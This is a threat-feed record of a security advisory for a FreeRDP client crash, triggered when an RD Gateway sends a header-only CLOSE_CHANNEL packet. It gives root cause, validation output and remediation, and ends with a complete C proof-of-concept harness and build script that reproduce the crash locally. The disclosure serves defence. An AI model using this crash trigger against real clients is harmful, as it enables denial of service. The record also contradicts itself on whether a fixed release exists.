{"schema":"threatline.record/2","record":{"id":"GHSA-f46f-pxh9-w2rh","aliases":["GHSA-f46f-pxh9-w2rh"],"summary":"Header-only RD Gateway CLOSE_CHANNEL packet crashes FreeRDP clients","details":"### Summary\r\n\r\nA malicious or compromised RD Gateway can terminate a FreeRDP client after the user connects through that gateway. An eight-byte `PKT_TYPE_CLOSE_CHANNEL` header declares no payload. FreeRDP accepts that minimum header length, leaves the payload stream null, and passes it to `rdg_process_close_packet`, which calls a WinPR stream-length helper and aborts on the null stream.\r\n\r\nThis is not a TLS interception claim. The attacker must control the configured RD Gateway, or separately overcome gateway certificate validation. The demonstrated impact is client availability; no confidentiality or integrity impact was established.\r\n\r\nThe behavior was introduced in FreeRDP 2.3.0. It affects the supported 3.x line from 3.0.0 through 3.31.1 and remains present on current `master`. FreeRDP's policy no longer supports 2.x. No fixed release is known.\r\n\r\n### Root cause\r\n\r\n`rdg_read_data_packet` in `libfreerdp/core/gateway/rdg.c` forwards the gateway-controlled packet type and length to `rdg_process_control_packet`. That dispatcher accepts any `packetLength >= sizeof(RdgPacketHeader)`. At exactly eight bytes, `payloadSize` is zero and `s` remains null.\r\n\r\nThe `PKT_TYPE_CLOSE_CHANNEL` case dispatches the null stream to `rdg_process_close_packet`. That function immediately calls:\r\n\r\n```c\r\nif (!Stream_CheckAndLogRequiredLengthWLog(rdg->log, s, 4))\r\n\treturn FALSE;\r\n```\r\n\r\nThe helper reaches `Stream_GetRemainingLength(NULL)`, which aborts in assertion-enabled builds and dereferences null when the assertion is absent. Unlike `PKT_TYPE_SERVICE_MESSAGE`, the close-channel case has no null-payload guard.\r\n\r\n### Security impact and prerequisites\r\n\r\n- The victim must connect through an RD Gateway controlled or compromised by the attacker.\r\n- The tunnel must be established far enough for the gateway's control stream to be processed.\r\n- An unrelated on-path attacker would also need to pass or bypass TLS certificate validation; that case is not assumed.\r\n- A single eight-byte header triggers client-process termination without a race or heap-layout dependency.\r\n- No data disclosure, memory write, code execution, or persistent service impact was demonstrated.\r\n\r\n### Validation\r\n\r\nThe included harness compiles the target checkout's production `rdg.c`. It was run against FreeRDP 3.31.1 and current `master`.\r\n\r\nObserved on both builds:\r\n\r\n```text\r\n[control] packet shorter than the RDG header must be rejected cleanly\r\nmode=control packetLength=7 headerLength=8\r\nparser_returned=0\r\n[attack] header-only CLOSE_CHANNEL must not terminate the process\r\nmode=attack packetLength=8 headerLength=8\r\nFATAL ... Stream_GetRemainingLength\r\nattack_exit=134\r\nreproduced: the header-only packet terminated the process\r\n```\r\n\r\nThe seven-byte control confirms that the parser's ordinary minimum-header rejection returns normally. The eight-byte case differs only by crossing that check, after which the null payload is dispatched. The harness directly exercises the production parser without a network connection; source inspection confirms that non-data RDG headers arrive there through `rdg_read_data_packet`.\r\n\r\n### Proof of concept\r\n\r\nFrom the report directory, after completing a FreeRDP CMake build:\r\n\r\n```sh\r\ncd poc\r\nSOURCE_DIR=\"$FREERDP_SOURCE\" BUILD_DIR=\"$FREERDP_BUILD\" ./run.sh\r\n```\r\n\r\nRun only in a disposable test environment. The attack child is expected to terminate. The harness does not make a network connection or modify the source checkout.\r\n\r\n### Suggested remediation\r\n\r\nReject `PKT_TYPE_CLOSE_CHANNEL` unless the declared packet length covers the eight-byte header and mandatory four-byte error code. Validate per-type minimum payload lengths before dispatch, and move the general header-size check before the `payloadSize` subtraction. Add regression tests for header lengths below eight, exactly eight, eleven, and twelve bytes, together with valid keepalive and service-message controls.\r\n\r\nCredit: Opensec Intelligence\r\n\r\n### Complete PoC Files\r\n\r\n#### `poc/rdg_close_channel_poc.c`\r\n\r\n````c\r\n/*\r\n * Minimal reproducer for FreeRDP's RD Gateway CLOSE_CHANNEL parser.\r\n *\r\n * The build command supplies RDG_SOURCE_FILE, pointing at the target\r\n * checkout's libfreerdp/core/gateway/rdg.c. This keeps the harness tied to\r\n * the exact production parser under test.\r\n */\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n#include <string.h>\r\n\r\n#ifndef RDG_SOURCE_FILE\r\n#error \"RDG_SOURCE_FILE must name the target checkout's rdg.c\"\r\n#endif\r\n\r\n#include RDG_SOURCE_FILE\r\n\r\n#include <winpr/synch.h>\r\n\r\n/* Satisfies a static reference in rdg.c. The vulnerable path aborts first. */\r\nBOOL websocket_context_write_wstream(websocket_context* context, BIO* bio, wStream* packet,\r\n                                     WEBSOCKET_OPCODE opcode)\r\n{\r\n\t(void)context;\r\n\t(void)bio;\r\n\t(void)packet;\r\n\t(void)opcode;\r\n\treturn FALSE;\r\n}\r\n\r\nint main(int argc, char** argv)\r\n{\r\n\tif (argc != 2)\r\n\t{\r\n\t\tfprintf(stderr, \"usage: %s control|attack\\n\", argv[0]);\r\n\t\treturn 64;\r\n\t}\r\n\r\n\tsize_t packetLength = 0;\r\n\tif (strcmp(argv[1], \"control\") == 0)\r\n\t\tpacketLength = sizeof(RdgPacketHeader) - 1;\r\n\telse if (strcmp(argv[1], \"attack\") == 0)\r\n\t\tpacketLength = sizeof(RdgPacketHeader);\r\n\telse\r\n\t{\r\n\t\tfprintf(stderr, \"unknown mode: %s\\n\", argv[1]);\r\n\t\treturn 64;\r\n\t}\r\n\r\n\trdpRdg rdg = { 0 };\r\n\trdg.log = WLog_Get(\"poc.rdg.close-channel\");\r\n\tInitializeCriticalSection(&rdg.writeSection);\r\n\r\n\tfprintf(stderr, \"mode=%s packetLength=%zu headerLength=%zu\\n\", argv[1], packetLength,\r\n\t        sizeof(RdgPacketHeader));\r\n\tconst BOOL rc = rdg_process_control_packet(&rdg, PKT_TYPE_CLOSE_CHANNEL, packetLength);\r\n\tfprintf(stderr, \"parser_returned=%d\\n\", rc);\r\n\r\n\tDeleteCriticalSection(&rdg.writeSection);\r\n\treturn rc ? 1 : 0;\r\n}\r\n````\r\n\r\n#### `poc/run.sh`\r\n\r\n````sh\r\n#!/bin/sh\r\nset -eu\r\n\r\n: \"${SOURCE_DIR:?Set SOURCE_DIR to a FreeRDP source checkout}\"\r\n: \"${BUILD_DIR:?Set BUILD_DIR to its completed CMake build directory}\"\r\n\r\nCC=${CC:-cc}\r\nSCRIPT_DIR=$(CDPATH= cd -- \"$(dirname -- \"$0\")\" && pwd)\r\nOUT_DIR=${OUT_DIR:-\"$SCRIPT_DIR/build\"}\r\nmkdir -p \"$OUT_DIR\"\r\n\r\nif [ -z \"${OPENSSL_INCLUDE_DIR:-}\" ] && [ -f \"$BUILD_DIR/CMakeCache.txt\" ]; then\r\n\tOPENSSL_INCLUDE_DIR=$(sed -n 's/^OPENSSL_INCLUDE_DIR:PATH=//p' \"$BUILD_DIR/CMakeCache.txt\" | head -n 1)\r\nfi\r\nif [ -f \"$BUILD_DIR/CMakeCache.txt\" ]; then\r\n\tOPENSSL_SSL_LIBRARY=${OPENSSL_SSL_LIBRARY:-$(sed -n 's/^OPENSSL_SSL_LIBRARY:FILEPATH=//p' \"$BUILD_DIR/CMakeCache.txt\" | head -n 1)}\r\n\tOPENSSL_CRYPTO_LIBRARY=${OPENSSL_CRYPTO_LIBRARY:-$(sed -n 's/^OPENSSL_CRYPTO_LIBRARY:FILEPATH=//p' \"$BUILD_DIR/CMakeCache.txt\" | head -n 1)}\r\n\tBUILD_C_FLAGS=${BUILD_C_FLAGS:-$(sed -n 's/^CMAKE_C_FLAGS:STRING=//p' \"$BUILD_DIR/CMakeCache.txt\" | head -n 1)}\r\n\tBUILD_LINK_FLAGS=${BUILD_LINK_FLAGS:-$(sed -n 's/^CMAKE_EXE_LINKER_FLAGS:STRING=//p' \"$BUILD_DIR/CMakeCache.txt\" | head -n 1)}\r\nfi\r\n\r\nset -- \"$CC\" \\\r\n\t-DWITH_OPENSSL -DWITH_SMARTCARD_EMULATE -DWITH_VERBOSE_WINPR_ASSERT \\\r\n\t-D_FILE_OFFSET_BITS=64 -DNONAMELESSUNION -DWINPR_DEFINE_ATTR_NODISCARD \\\r\n\t-DRDG_SOURCE_FILE=\"\\\"$SOURCE_DIR/libfreerdp/core/gateway/rdg.c\\\"\" \\\r\n\t-I\"$SOURCE_DIR/winpr/include\" -I\"$BUILD_DIR/winpr/include\" \\\r\n\t-I\"$BUILD_DIR\" -I\"$BUILD_DIR/include\" -I\"$SOURCE_DIR/include\" \\\r\n\t-fno-omit-frame-pointer -ffunction-sections -fdata-sections -flto=auto -g -O2\r\n\r\n# CMake cache flags keep the harness ABI-compatible with sanitizer builds.\r\n# Intentional word splitting mirrors how CMake stores compiler flag lists.\r\nif [ -n \"${BUILD_C_FLAGS:-}\" ]; then\r\n\t# shellcheck disable=SC2086\r\n\tset -- \"$@\" $BUILD_C_FLAGS\r\nfi\r\n\r\nif [ -n \"${OPENSSL_INCLUDE_DIR:-}\" ]; then\r\n\tset -- \"$@\" -I\"$OPENSSL_INCLUDE_DIR\"\r\nfi\r\n\r\nset -- \"$@\" \\\r\n\t\"$SCRIPT_DIR/rdg_close_channel_poc.c\" \\\r\n\t-L\"$BUILD_DIR/libfreerdp\" -L\"$BUILD_DIR/winpr/libwinpr\" \\\r\n\t-Wl,-rpath,\"$BUILD_DIR/libfreerdp:$BUILD_DIR/winpr/libwinpr\" \\\r\n\t-Wl,--gc-sections -Wl,--allow-shlib-undefined \\\r\n\t-lfreerdp3 -lwinpr3\r\n\r\nif [ -n \"${OPENSSL_SSL_LIBRARY:-}\" ] && [ -n \"${OPENSSL_CRYPTO_LIBRARY:-}\" ]; then\r\n\tset -- \"$@\" \"$OPENSSL_SSL_LIBRARY\" \"$OPENSSL_CRYPTO_LIBRARY\"\r\nelse\r\n\tset -- \"$@\" -lssl -lcrypto\r\nfi\r\n\r\nset -- \"$@\" \\\r\n\t-lpthread -ldl -lm \\\r\n\t-o \"$OUT_DIR/rdg_close_channel_poc\"\r\n\r\nif [ -n \"${BUILD_LINK_FLAGS:-}\" ]; then\r\n\t# shellcheck disable=SC2086\r\n\tset -- \"$@\" $BUILD_LINK_FLAGS\r\nfi\r\n\r\n\"$@\"\r\n\r\necho \"[control] packet shorter than the RDG header must be rejected cleanly\"\r\n\"$OUT_DIR/rdg_close_channel_poc\" control\r\n\r\necho \"[attack] header-only CLOSE_CHANNEL must not terminate the process\"\r\nset +e\r\n\"$OUT_DIR/rdg_close_channel_poc\" attack\r\nattack_rc=$?\r\nset -e\r\n\r\necho \"attack_exit=$attack_rc\"\r\nif [ \"$attack_rc\" -eq 0 ]; then\r\n\techo \"not reproduced: the target rejected the header-only packet\"\r\n\texit 1\r\nfi\r\n\r\nif [ \"$attack_rc\" -eq 134 ] || [ \"$attack_rc\" -eq 139 ]; then\r\n\techo \"reproduced: the header-only packet terminated the process\"\r\n\texit 0\r\nfi\r\n\r\necho \"inconclusive: unexpected attack exit code\"\r\nexit 2\r\n````\r\n","categories":["Unclassified"],"product":"FreeRDP","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-f46f-pxh9-w2rh","source_modified_at":"2026-09-29T07:27:36Z","fetched_at":"2026-10-23T20:37:03.234832Z","package":{"ecosystem":"c","name":"FreeRDP"},"range":">= 2.3.0, <= 3.31.1"}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-f46f-pxh9-w2rh","source_modified_at":"2026-09-29T07:27:36Z","fetched_at":"2026-10-23T20:37:03.234832Z","package":{"ecosystem":"c","name":"FreeRDP"},"version":"3.32.0"}],"cvss":6.5,"severity":"Medium","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-09-29T07:27:36Z","modified_at":"2026-09-29T07:27:36Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-f46f-pxh9-w2rh","fetched_at":"2026-10-23T20:37:03.234832Z","source_modified_at":"2026-09-29T07:27:36Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-09-29T07:27:36Z","content_hash":"9690b66ae6d39a94ab0e2ad76b658dfbeb894f880ad9eebc161f7372dc6cfa57"}}
